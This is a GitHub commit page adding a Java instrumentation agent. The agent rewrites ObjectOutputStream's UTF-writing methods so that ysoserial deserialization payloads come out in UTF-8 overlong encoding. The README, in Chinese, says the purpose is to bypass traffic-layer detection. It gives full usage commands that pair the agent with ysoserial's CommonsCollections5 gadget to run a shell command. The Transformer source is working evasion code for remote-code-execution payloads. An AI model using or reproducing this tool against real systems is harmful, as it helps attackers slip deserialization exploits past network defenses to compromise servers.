Skip to content

Commit

Permalink
feat: 使用agent实现反序列化utf8 overlong
Browse files Browse the repository at this point in the history
  • Loading branch information
Ar3h committed Apr 23, 2024
0 parents commit 654f008
Show file tree
Hide file tree
Showing 8 changed files with 384 additions and 0 deletions.
39 changes: 39 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
target/
!.mvn/wrapper/maven-wrapper.jar
!**/src/main/**/target/
!**/src/test/**/target/

### IntelliJ IDEA ###
.idea/modules.xml
.idea/jarRepositories.xml
.idea/compiler.xml
.idea/libraries/
.idea
*.iws
*.iml
*.ipr

### Eclipse ###
.apt_generated
.classpath
.factorypath
.project
.settings
.springBeans
.sts4-cache

### NetBeans ###
/nbproject/private/
/nbbuild/
/dist/
/nbdist/
/.nb-gradle/
build/
!**/src/main/**/build/
!**/src/test/**/build/

### VS Code ###
.vscode/

### Mac OS ###
.DS_Store
57 changes: 57 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
# utf8 overlong agent

使用 agent 替换序列化中的`writeUTF``writeUTFBody`函数,从而实现在反序列化时生成utf8 overlong数据,绕过流量层检测。



# 用法

在生成反序列化payload工具启动时添加 javaagent 参数即可

```bash
java -javaagent:/path/to/utf8-overlong-agent-1.0-SNAPSHOT-jar-with-dependencies.jar -jar ysoserial-0.0.5-all.jar CommonsCollections5 "touch /tmp/success"
```



![image-20240423164153836](./assets/image-20240423164153836.png)



可以使用base64编码一下,然后拷贝出来使用

![image-20240423164533367](./assets/image-20240423164533367.png)



默认采用随机混合2、3字节的utf8 overlong编码,每次生成的payload都不一样

![image-20240423164808031](./assets/image-20240423164808031.png)



若想固定使用2或3字节utf8 overlong,指定agent参数即可:

```bash
# 2 byte
java -javaagent:/path/to/utf8-overlong-agent-1.0-SNAPSHOT-jar-with-dependencies.jar=2 -jar ysoserial-0.0.5-all.jar CommonsCollections5 "touch /tmp/success"

# 3 byte
java -javaagent:/path/to/utf8-overlong-agent-1.0-SNAPSHOT-jar-with-dependencies.jar=3 -jar ysoserial-0.0.5-all.jar CommonsCollections5 "touch /tmp/success"
```





# 参考

https://en.wikipedia.org/wiki/UTF-8

https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

https://github.com/Whoopsunix/utf-8-overlong-encoding

https://t.zsxq.com/ToFaL

https://t.zsxq.com/Yg2cc
Binary file added assets/image-20240423164153836.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added assets/image-20240423164533367.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added assets/image-20240423164808031.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
62 changes: 62 additions & 0 deletions pom.xml
Original file line number Diff line number Diff line change
@@ -0,0 +1,62 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>utf8-overlong-agent</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.29.0-GA</version>
</dependency>

<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm-all</artifactId>
<version>5.2</version>
</dependency>
</dependencies>

<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>3.3.0</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestEntries>
<Premain-Class>Main</Premain-Class>
<Agent-Class>Main</Agent-Class>
</manifestEntries>
</archive>
</configuration>

<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>

</project>
45 changes: 45 additions & 0 deletions src/main/java/Main.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
/**
* @Author Ar3h
* @Date 2024/4/22 22:37
*/

import java.lang.instrument.Instrumentation;

public class Main {
public static int BYTE_LENGTH = 0;

public static void premain(String agentArgs, Instrumentation inst) {
if (agentArgs != null && agentArgs != "") {
try {
BYTE_LENGTH = Integer.valueOf(agentArgs);
} catch (NumberFormatException e) {
throw new RuntimeException("agentArgs set error, only set 2 or 3");
}
if (BYTE_LENGTH != 2 && BYTE_LENGTH != 3) {
throw new RuntimeException("agentArgs set error, only set 2 or 3");
}
System.err.println("[agent] set BYTE_LENGTH => " + BYTE_LENGTH);
}

Class[] classes = inst.getAllLoadedClasses();
String targetClassName = "java.io.ObjectOutputStream$BlockDataOutputStream";

boolean flag = false;
try {
for (Class aClass : classes) {
if (aClass.getName().equals(targetClassName)) {
System.err.println("find class: " + aClass.getName());
inst.addTransformer(new Transformer(), true);
inst.retransformClasses(aClass);
flag = true;
}
}
} catch (Exception e) {
e.printStackTrace();
}

if (!flag) {
inst.addTransformer(new Transformer());
}
}
}
181 changes: 181 additions & 0 deletions src/main/java/Transformer.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,181 @@
import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Transformer implements ClassFileTransformer {

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
String targetClassName = "java.io.ObjectOutputStream$BlockDataOutputStream";
String targetClassNameWithSlash = targetClassName.replace(".", "/");

// 判断是否是目标类
if (targetClassNameWithSlash.equals(className)) {
System.err.println("[agent] transform class: " + className);
try {
ClassPool cp = ClassPool.getDefault();
if (classBeingRedefined != null) {
ClassClassPath classPath = new ClassClassPath(classBeingRedefined);
cp.insertClassPath(classPath);
}

CtClass cc = cp.get(targetClassName);
cp.importPackage(IOException.class.getName());

// 删除 writeUTF 方法
CtMethod writeUTFMethod = cc.getMethod("writeUTF", "(Ljava/lang/String;J)V");
cc.removeMethod(writeUTFMethod);

// 添加 writeUTF 方法
CtMethod bewWriteUTFMethod;
if (Main.BYTE_LENGTH == 2 || Main.BYTE_LENGTH == 3) {
bewWriteUTFMethod = CtNewMethod.make(" void writeUTF(String s, long utflen) throws IOException {\n" +
" // if (utflen > 0xFFFFL) {\n" +
" // throw new UTFDataFormatException();\n" +
" // }\n" +
" int len = s.length();\n" +
"\n" +
" writeShort((int) (" + Main.BYTE_LENGTH + " * len ));\n" +
" writeUTFBody(s);\n" +
" }", cc);
} else {
bewWriteUTFMethod = CtNewMethod.make(" void writeUTF(String s, long utflen) throws IOException {\n" +
" // if (utflen > 0xFFFFL) {\n" +
" // throw new UTFDataFormatException();\n" +
" // }\n" +
" int len = s.length();\n" +
" int threeByteCount = len / 2 + 1;\n" +
"\n" +
" writeShort((int) (3 * threeByteCount + 2 * (len - threeByteCount)));\n" +
" writeUTFBody(s);\n" +
" }", cc);
}
cc.addMethod(bewWriteUTFMethod);


CtMethod randomCallMethod = CtNewMethod.make(" public static boolean randomCall(int remainingPositions, int remainingCalls) {\n" +
"java.util.Random rand = new java.util.Random();" +
"double probability = (double) $2 / $1;" +
"double randomProbability = rand.nextDouble();" +
"return randomProbability < probability;" +
" }", cc);
cc.addMethod(randomCallMethod);


// 删除 writeUTFBody 方法
CtMethod writeUTFBodyMethod = cc.getMethod("writeUTFBody", "(Ljava/lang/String;)V");
cc.removeMethod(writeUTFBodyMethod);


// 添加 writeUTFBody 方法
CtMethod newWriteUTFBodyMethod;
if (Main.BYTE_LENGTH == 2 || Main.BYTE_LENGTH == 3) {
String boolString = Main.BYTE_LENGTH == 3 ? "true" : "false";
newWriteUTFBodyMethod = CtNewMethod.make(" private void writeUTFBody(String s) throws IOException {\n" +
" int limit = MAX_BLOCK_SIZE - 3;\n" +
" int len = s.length();\n" +
"\n" +
" for (int off = 0; off < len; ) {\n" +
" int csize = Math.min(len - off, CHAR_BUF_SIZE);\n" +
" s.getChars(off, off + csize, cbuf, 0);\n" +
" for (int cpos = 0; cpos < csize; cpos++) {\n" +
" char c = cbuf[cpos];\n" +
" if (pos <= limit) {\n" +
" // if (c <= 0x007F && c != 0) {\n" +
" // buf[pos++] = (byte) c;\n" +
" // } else if (c > 0x07FF) {\n" +
"\n" +
" if (" + boolString + ") {\n" +
" buf[pos + 2] = (byte) (0x80 | ((c >> 0) & 0x3F));\n" +
" buf[pos + 1] = (byte) (0x80 | ((c >> 6) & 0x3F));\n" +
" buf[pos + 0] = (byte) (0xE0 | ((c >> 12) & 0x0F));\n" +
" pos += 3;\n" +
" } else{\n" +
" buf[pos + 1] = (byte) (0x80 | ((c >> 0) & 0x3F));\n" +
" buf[pos + 0] = (byte) (0xC0 | ((c >> 6) & 0x1F));\n" +
" pos += 2;\n" +
" }\n" +
" } else { // write one byte at a time to normalize block\n" +
" if (c <= 0x007F && c != 0) {\n" +
" write(c);\n" +
" } else if (c > 0x07FF) {\n" +
" write(0xE0 | ((c >> 12) & 0x0F));\n" +
" write(0x80 | ((c >> 6) & 0x3F));\n" +
" write(0x80 | ((c >> 0) & 0x3F));\n" +
" } else {\n" +
" write(0xC0 | ((c >> 6) & 0x1F));\n" +
" write(0x80 | ((c >> 0) & 0x3F));\n" +
" }\n" +
" }\n" +
" }\n" +
" off += csize;\n" +
" }\n" +
" }", cc);

} else {
newWriteUTFBodyMethod = CtNewMethod.make(" private void writeUTFBody(String s) throws IOException {\n" +
" int limit = MAX_BLOCK_SIZE - 3;\n" +
" int len = s.length();\n" +
" int threeByteCount = len / 2 + 1;\n" +
"\n" +
" int count = 0;\n" +
"\n" +
" for (int off = 0; off < len; ) {\n" +
" int csize = Math.min(len - off, CHAR_BUF_SIZE);\n" +
" s.getChars(off, off + csize, cbuf, 0);\n" +
" for (int cpos = 0; cpos < csize; cpos++) {\n" +
" char c = cbuf[cpos];\n" +
" if (pos <= limit) {\n" +
" // if (c <= 0x007F && c != 0) {\n" +
" // buf[pos++] = (byte) c;\n" +
" // } else if (c > 0x07FF) {\n" +
"\n" +
// " if (threeByteCount-- > 0) {\n" +
" if (threeByteCount > 0 && randomCall(len - count, threeByteCount)) {\n" +
" buf[pos + 2] = (byte) (0x80 | ((c >> 0) & 0x3F));\n" +
" buf[pos + 1] = (byte) (0x80 | ((c >> 6) & 0x3F));\n" +
" buf[pos + 0] = (byte) (0xE0 | ((c >> 12) & 0x0F));\n" +
" pos += 3;\n" +
" threeByteCount--;\n" +
" } else{\n" +
" buf[pos + 1] = (byte) (0x80 | ((c >> 0) & 0x3F));\n" +
" buf[pos + 0] = (byte) (0xC0 | ((c >> 6) & 0x1F));\n" +
" pos += 2;\n" +
" }\n" +
" } else { // write one byte at a time to normalize block\n" +
" if (c <= 0x007F && c != 0) {\n" +
" write(c);\n" +
" } else if (c > 0x07FF) {\n" +
" write(0xE0 | ((c >> 12) & 0x0F));\n" +
" write(0x80 | ((c >> 6) & 0x3F));\n" +
" write(0x80 | ((c >> 0) & 0x3F));\n" +
" } else {\n" +
" write(0xC0 | ((c >> 6) & 0x1F));\n" +
" write(0x80 | ((c >> 0) & 0x3F));\n" +
" }\n" +
" }\n" +
" count++;\n" +
" }\n" +
" off += csize;\n" +
" }\n" +
" }", cc);

}
cc.addMethod(newWriteUTFBodyMethod);

System.err.println("[agent] modify success");

byte[] bytes = cc.toBytecode();
cc.detach();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
return null;
}
}

0 comments on commit 654f008

Please sign in to comment.